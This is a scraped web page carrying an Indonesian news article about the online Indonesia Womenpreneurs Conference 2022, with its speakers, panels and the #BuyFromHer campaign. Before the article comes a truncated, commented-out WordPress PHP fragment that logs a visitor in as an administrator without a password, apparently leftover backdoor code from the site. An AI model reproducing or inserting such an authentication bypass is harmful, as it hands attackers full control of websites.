user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Trending Topic
Indonesia Womenpreneurs Conference 2022, Ajang Pembuktian Kepemimpinan Wanita Wirausaha yang Tangguh, Adaptif, Inovatif

23 Mar 2022

Dua tahun sudah kita berada dalam situasi pandemi. Di tengah kondisi yang menimbulkan begitu banyak tantangan dalam hal perekonomian, banyak perempuan Indonesia yang justru menjurus arus dan gemilang di dunia bisnis, terutama UMKM. Sifat tangguh, adaptif, dan inovatif adalah kunci dalam menjalani proses yang kerap kali tidak mudah. 

Semangat dan energi positif itu sangat terasa dalam ajang Indonesia Womenpreneurs Conference 2022, yang diselenggarakan secara daring, Selasa, 22 Maret 2022. IWC 2022 yang mengusung tema Tangguh. Adaptif. Inovatif ini merupakan konferensi wanita wirausaha nasional pertama yang diselenggarakan Wanita Wirausaha Femina bersama dengan Meta melalui program #SheMeansBusiness, dan didukung oleh Kementerian Perdagangan Republik Indonesia, Kamar Dagang dan Industri (KADIN) Indonesia dan WOMEN 20 (W20). 

Kolaborasi Mendorong Potensi Wanwir
Konferensi ini digelar dalam rangka merayakan International Women’s Day 2022, untuk berbagi pencapaian dalam meningkatkan literasi digital para wanita wirausaha di Indonesia, sekaligus menjadi pembuka program Wanwir Mahir Digital Angkatan 4, kerja sama Wanita Wirausaha Femina dengan Meta melalui program #SheMeansBusiness. "Begitu besar potensi kewirausahaan perempuan di Indonesia dan semangat mereka untuk kompetitif dengan perubahan pasar masa kini, perlu disikapi dengan kolaborasi dan kerja bersama semua pihak. Pengembangan komunitas tidak dapat dilakukan sendiri-sendiri," kata Petty S. Fatimah, Editorial Director PT Prana Dinamika Sejahtera & CCO Femina Media. 

Hal ini senada dan diperkuat dengan data-data Meta melalui program #SheMeansBusiness yang telah ada sejak 2019 di Indonesia, serta kontribusi program ini terhadap digital literacy UMKM, khususnya perempuan pelaku usaha, yang disampaikan oleh Rahimah Abdulrahim (Ima), Direktur Kebijakan Publik untuk Asia Tenggara, Meta. Kolaborasi Wanita Wirausaha Indonesia dan Meta melalui program #SheMeansBusiness terbukti telah memberikan dampak yang sangat berarti bagi banyak sekali UMKM yang digerakkan perempuan.

“Masa pandemi ini menjadi sangat penting bagi kami. Jangkauan kerja sama kami telah mencapai angka yang lebih tinggi dibandingkan sebelum pandemi. Dari tahun 2019 ke 2021, kami telah melaksanakan 79 kegiatan yang melatih hingga 11.419 wanwir,” ungkap Ima. 

Lebih jauh, Rahimah  mengatakan bahwa pembedayaan perempuan merupakan komitmen jangka panjang Meta secara global. “Dan saat ini adalah waktu yang kritis untuk membangun konten pelatihan yang dapat membuat perempuan bertahan di masa pandemi. Ini peran penting yang kami ambil bersama mitra kami, Wanwir femina. Dengan berbagai rencana, kami memasuki fase pemulihan setelah pandemi, agar tercapai pemulihan yang inklusif,” papar Ima. 

Dalam konferensi yang dihadiri lebih dari 1.000 perempuan itu, Ima memperkenalkan kampanye gobal terbaru Meta untuk mendukung perempuan pelaku usaha UMKM lewat hashtag #BuyFromHer. “Kami di Meta mengajak para wanita wirausaha untuk bergabung pada gerakan global #BuyFromHer. Bagaimana cara mengikutinya? Silakan para wanita wirausaha gunakan tagar #BuyFromHer pada postingan Instagram usaha Anda untuk mengambil peran dan menjadi bagian dari kampanye global ini,” kata Ima. 

Dukungan Pemerintah
Sejak tahun 2019, kolaborasi Wanita Wirausaha Femina dengan Meta melalui program #SheMeansBusiness sudah mendapat dukungan penuh dari Kementerian Perdagangan RI. Dukungan ini memperluas kolaborasi dan jangkauan, karena terdiri dari media, swasta, dan pemerintah. Fokus kolaborasi ini pada peningkatan literasi digital bagi wanita wirausaha dengan jangkauan tayangan program di kanal sosial media mencapai lebih dari 500.000. Semangat ini juga selaras dengan tema Recover Together, Recover Stronger, Presidensi G20 Indonesia yang berkomitmen mengembangan UMKM sebagai pilar utama untuk membantu pemulihan ekonomi dunia pasca pandemi. 

Salah satu engagement group dalam Presidensi G20 Indonesia yaitu Women 20 (W20) juga memiliki aspirasi untuk membuka kesempatan bagi perempuan untuk mendapatkan akses ke peluang bisnis dan ekonomi yang lebih baik, sehingga mereka dapat memajukan pertumbuhan ekonomi inklusif dan berkelanjutan. 

Dalam pidato kuncinya di IWC 2022 ini, Menteri Perdagangan Republik Indonesia, Muhammad Lutfi, mengatakan bahwa wirausaha perempuan telah terbukti menjadi pilar kemandirian bangsa. Dukungan dan partisipasi wirausaha perempuan dalam perekonomian Indonesia terus membaik. “Salah satu langkah konkret yang telah dilakukan untuk meningkatkan peran dan partisipasi wirausaha perempuan adalah dengan kolaborasi antara Kementerian Perdagangan dengan Femina dan Meta company melalui program pelatihan #SheMeansBusiness from Facebook bersama Wanita Wirausaha Femina.

"Saya mengapresiasi dan berharap agar lebih banyak lagi kolaborasi antara pemerintah, media, dan swasta untuk mendukung wirausaha perempuan. Salah satunya melalui transformasi digital yang inklusif yang sejalan dengan prioritas Presidensi G20 Indonesia,” kata Mendag Lutfi. 

Data Bank Indonesia menyebutkan 60 persen atau sekitar 39 juta pelaku UMKM Indonesia adalah perempuan. Sehingga bagi Indonesia, memberdayakan UMKM berarti juga memberdayakan perempuan. Perempuan merupakan agen penting untuk mendorong pertumbuhan ekonomi. Jika perempuan diberikan akses setara khususnya dalam ekonomi digital dan akses finansial, maka hal ini tidak hanya dapat meningkatkan kesejahteraan perekonomian dan menghindari keluarga dari kemiskinan, tapi juga turut menumbuhkan perekonomian bangsa. 
Advertisement

Sejalan dengan hal tersebut, Wanita Wirausaha Femina dan Meta melalui program #SheMeansBusiness percaya bahwa digitalisasi menjadi key enabler untuk mendorong pertumbuhan ekonomi pasca pandemi yang ditopang oleh UMKM. Laporan Kondisi UKM di Seluruh Dunia 2021 yang pertama, dimana Facebook mengadakan survei terhadap lebih dari 35.000 UKM di 27 negara dan wilayah pada bulan Februari 2021. Laporan ini menyelidiki efek pandemi terhadap kinerja bisnis, cara bisnis beradaptasi dengan keadaan saat ini, dan ekspektasi mereka akan masa depan. Salah satu hasilnya menyebutkan sekitar 32% UKM yang dipimpin wanita di Facebook melaporkan bahwa mereka telah mengubah cara mereka menggunakan alat digital dalam menanggapi pandemi, dibandingkan dengan 25% UKM yang dipimpin oleh pria. 

Belajar dari Perempuan-Perempuan Tangguh
Sederet nama pembicara mengisi sesi diskusi yang terbagi dalam 3 panel di ICW 2022. Pada panel pertama bertema Kolaborasi untuk Ekonomi Inklusif, hadir sebagai panelis adalah Merry Maryati (Direktur Pengembangan Promosi dan Citra, Kementerian Perdagangan Republik Indonesia), Shinta Widjaja Kamdani (Koordinator Wakil Ketua Umum, Kamar Dagang dan Industri Indonesia & Ketua B20 Indonesia), Dwi Yuliawati Faiz (Head of Programmes UN Women & W20), dan Petty S. Fatimah. 

Dwi mengungkap tantangan besar pandemi yang dialami pengusaha, seperti pengurangan income, sales point turun, dan sebagainya, sekaligus membeberkan fakta menarik ketangguhan perempuan dan bagaimana perempuan wirausaha keluar dari kondisi berat ini, antara lain dengan beralih ke platform digital. “Banyak perempuan memulai usaha dari orientasi kebutuhan, bukan berkembang (pengembangan diri),” kata Dwi. Namun, ia yakin bahwa ekosistem memungkinkan perempuan wirausaha mengembangkan bisnisnya. 

Sementara, Shinta menyampaikan program-program yang dilakukan KADIN dan bagaimana W20 bisa berdampak positif secara nyata bagi dunia bisnis di Indonesia, khususnya UMKM yang dijalankan oleh perempuan. Ia juga mengungkapkan peran transformasi digital sebagai salah satu kunci untuk tidak hanya bertahan di tengah pandemi namun juga meraih kesuksesan. 

Mewakili kemendag, Merry mengungkap potensi UMKM untuk bisa melesat hingga menjangkau pasar luar negeri dengan dukungan pemerintah. Ekspor tidak hanya dimungkinkan bagi produk benda, namun juga produk jasa.  

Pada panel kedua dengan tema Aksi Nyata Dukung Wirausaha #BuyFromHer, tiga wanita wirausaha juara lulusan berbagai program #SheMeansBusiness berbagi kisah inspiratif mereka dalam membangun bisnisnya dengan memaksimalkan penggunaan teknologi pemasaran melalui sosial media. Mereka adalah Syanaz Nadya Winanto Putri, Founder Rorokenes (Semarang), Eni Anjayani, Founder Wastraloka (Yogyakarta), dan Yuria Ekalitani, Founder Bosteak (Cilacap). Ketiga pembicara menjadi contoh nyata sesuai tema konferensi ini, yakni perempuan-perempuan tangguh, adaptif, dan inovatif. 

Di panel ketiga, yang merupakan panel terakhir, berbicara tentang Strategi Tepat Maksimalkan Toko Online, hadir 3 pembicara, yakni Tuhu Nugraha, Digital Business Consultant & Trainer, Falah Fakhriyah, Head of Category Development Tokopedia dan Annisa Hendrato, Co-Founder Noesa. 

Acara konferensi ini diharapkan dapat berlangsung rutin setiap tahun, untuk merayakan International Women’s Day, dan menjadi kesempatan untuk mengamplifikasi aksi nyata kita dalam mendukung perempuan pelaku usaha dan sebagai ajang selebrasi bagi para perempuan pemilik usaha atas pencapaian yang telah mereka lakukan. Karena bersama, wanita berdaya! (f) 

Saksikan tayangan lengkap Indonesia Womenpreneurs Converence 2022, klik tautan berikut https://fb.watch/bYrEf8JcpB/​

Penulis: Gracia Danarti

Baca Juga: 
Indonesia Womenpreneurs Conference 2022, Ajang Pembuktian Kepemimpinan Wanita Wirausaha yang Tangguh, Adaptif, Inovatif
Segera Hadir! INDONESIA WOMENPRENEURS CONFERENCE 2022
Mendag M. Lutfi: Kolaborasi Ciptakan Langkah Konkret bagi Pertumbuhan Wirausaha Perempuan Indonesia




Topic

#iwc2022, #wanitawirausaha, #wanwirfemina, #ekonomiinklusif, #umkm, #bisnis, #g20, #w20

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?